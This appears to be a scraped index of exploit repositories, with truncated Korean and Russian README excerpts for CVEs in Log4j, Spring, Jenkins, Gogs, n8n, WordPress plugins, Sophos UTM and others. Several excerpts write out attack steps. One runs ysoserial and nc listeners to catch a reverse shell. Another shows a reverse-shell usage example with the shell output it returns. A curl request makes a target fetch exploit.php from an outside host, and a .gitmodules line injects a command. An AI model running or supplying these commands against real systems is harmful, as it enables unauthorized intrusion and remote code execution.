CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP는 셸 반환에 성공할 수 있습니다 이 문서 및 도구는 기술 공유만을 위한 것이며, 불법적인 용도로 사용하는 것을 엄격히 금지합니다. 그로 인해 발생하는 모든 결과는 본인이 부담합니다. 명령 실행 EXP 트리거 1. VPS에서 RMI 리스너를 9999 포트로 시작 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS에서 nc 리스너를 8443 포트로 시작 nc...

UltraRealy_with_CVE-2019-1040

UltraRelay, обновленный Lazaar Sami для эксплуатации CVE-2019-1040 UltraRelay — это инструмент для отравления LLMNR и ретрансляции учетных данных NTLM. Он основан на Responder и impack. Я обновил оригинальную версию https://github.com/5alt/ultrarelay для эксплуатации CVE-2019-1040. Dirk-jan Molle...

staystaystay

staystaystay staystaystay — это доказательство концепции эксплуатации для CVE-2021-1585, проблемы RCE типа «человек посередине» или злонамеренная конечная точка, затрагивающая Cisco ASA Device Manager ASDM. Проблема была первоначально обнаружена Malcolm Lashley и раскрыта летом 2021 года. Однако ...

Log4j-Vulnerability

Уязвимость Log4j Туториал: https://youtu.be/PNDBjoT83zA Туториал: https://cryptodeeptech.ru/log4j-vulnerability Предыстория Log4j Команда Alibaba Cloud Security публично раскрыла критическую уязвимость CVE-2021-44228, позволяющую неаутентифицированное удалённое выполнение кода в нескольких версия...

CVE-2025-8110

Эксплойт Gogs RCE CVE-2025-8110 Доказательство концепции PoC для CVE-2025-8110 , критической уязвимости в Gogs, которая позволяет выполнять удалённый код RCE через манипуляции с .git/config с помощью обхода символических ссылок и инъекции sshCommand. 📖 Обзор Этот эксплойт нацелен на недостаток Pa...

CVE-2025-68613

🚀 n8n Authenticated RCE PoC Pocsuite3 CVE ID : CVE-2025-68613 Type : Authenticated Remote Code Execution Framework : Pocsuite3 Это скрипт проверки и эксплуатации уязвимостей, написанный на основе фреймворка Pocsuite3 , для обнаружения уязвимости удалённого выполнения кода RCE после аутентификации...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 - Уязвимость произвольного чтения файлов через CLI может привести к RCE Продукты и затронутые версии: Продукт| Затронутые версии ---|--- Jenkis Server| = 2.441 = LTS 2.426.3 CVSS: КРИТИЧЕСКИЙ Активно эксплуатируется: ДА Патч: ДА Смягчение: ДА Помощь usage:...

sophucked

sophucked CVE-2020-25223 RCE PoC, 역방향 셸 획득. 사전 인증 없음. 일부 위협 요소를 통합하기 위해 급히 구현했습니다. 예제 사용법: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 포트 80에서 핸들러 시작 + 콜백을 x.x.x.x:80으로 전송 + x.x.x.x에서 연결됨 + 셸 획득! bash: 이 셸에서는 작업 제어 불가 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id...

CVE-2026-Discord

Отчёт о критической уязвимости: клиент Discord для macOS Дата : 2026-01-25 Цель : клиент Discord macOS Stable 0.0.373 Автор : Antigravity 🚨 Краткий обзор Мы выявили критическую уязвимость безопасности в клиенте Discord для macOS на базе Electron, связанную с принудительным открытием порта удалённ...

langflow-rce-exploit

Langflow RCE Exploit CVE-2025-3248 Эксплойт удалённого выполнения кода для Langflow CVE-2025-3248 Возможности Автоматическое обнаружение уязвимости Несколько режимов эксплуатации: Интерактивная оболочка Выполнение одиночной команды Подключение обратной оболочки Возможность загрузки файлов Цветной...

CVE-2025-5777-TrendMicro-ApexCentral-RCE

🚨 CVE-2025-5777 – Trend Micro Apex Central: Обход аутентификации и RCE 🔎 Обзор CVE-2025-5777 — это критическая уязвимость обхода аутентификации и удаленного выполнения кода RCE, обнаруженная в Trend Micro Apex Central. Она позволяет неаутентифицированным злоумышленникам выполнять произвольные...

Spring4Shell-POC

Spring4Shell-POC CVE-2022-22965 Spring4Shell CVE-2022-22965 Доказательство концепции/Информация + Уязвимый Tomcat сервер с уязвимым spring4shell приложением. Сегодня рано утром несколько источников сообщили о возможном RCE-эксплойте в популярном Java-фреймворке Spring. Название этой уязвимости...

CVE-2022-32114

Strapi v4.1.12 Описание уязвимости: Уязвимость неограниченной загрузки файлов в функции Add New Assets в Strapi v4.1.12 позволяет злоумышленникам выполнять произвольный код с помощью специально созданного файла Векторы атаки: После загрузки файла, содержащего вредоносный контент, при открытии...

CVE-2019-10915

Уязвимость представляет собой обход аутентификации в сервере TIA Administrator. Злоумышленник может выполнять произвольные команды приложения через веб-сокеты на сервере node.js, который по умолчанию доступен извне. Используя эту уязвимость, неаутентифицированный удаленный злоумышленник может...

CVE-2021-1675

CVE-2021-1675 Реализация Impacket для PoC PrintNightmare, изначально созданного Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Протестировано на полностью пропатченном контроллере домена 2019 Выполнение вредоносных DLL удалённо или локально Установка Перед запуском эксплойта необходимо...

CVE-2023-51385_test

CVE-2023-51385 검증 먼저 /.ssh/config에 다음과 같이 추가해야 합니다 主机 .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules파일 구문에는 명령 주입이 존재합니다 url = ssh://echo helloworld cve.txtfoo.example.com/bar 구성 완료 후 아래 명령을 실행하여 트리거합니다 git 克隆 https://github.com/zls1793/CVE-2023-51385test...

Elementor-3.18.0-Upload-Path-Traversal-RCE-CVE-2023-48777

В этом репозитории нет README...

CVE-2019-9978

CVE-2019-9978 - Social Warfare 워드프레스 플러그인 RCE 사전 인증 없이 Social Warfare 워드프레스 플러그인에서 발생하는 RCE 개념 증명 curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 취약한 코드 : 수정:...

MASS-CVE-2024-27956

MASS-CVE-2024-27956-RCE PoC для CVE-2024-27956, SQL-инъекция в плагине ValvePress Automatic. Этот PoC эксплуатирует уязвимость, создавая пользователя в целевой системе и предоставляя права администратора. Став администратором WordPress, можно получить удаленное выполнение кода. Использование git...

ci_fuzz

Описание: Этот скрипт фаззит на наличие уязвимостей Command Injection, приводящих к удаленному выполнению команд. Подобные уязвимости OWASP объясняются здесь -- https://www.owasp.org/index.php/CommandInjection Скрипт попытается выполнить команды ОС, внедряя их в каждое значение в теле POST/PUT...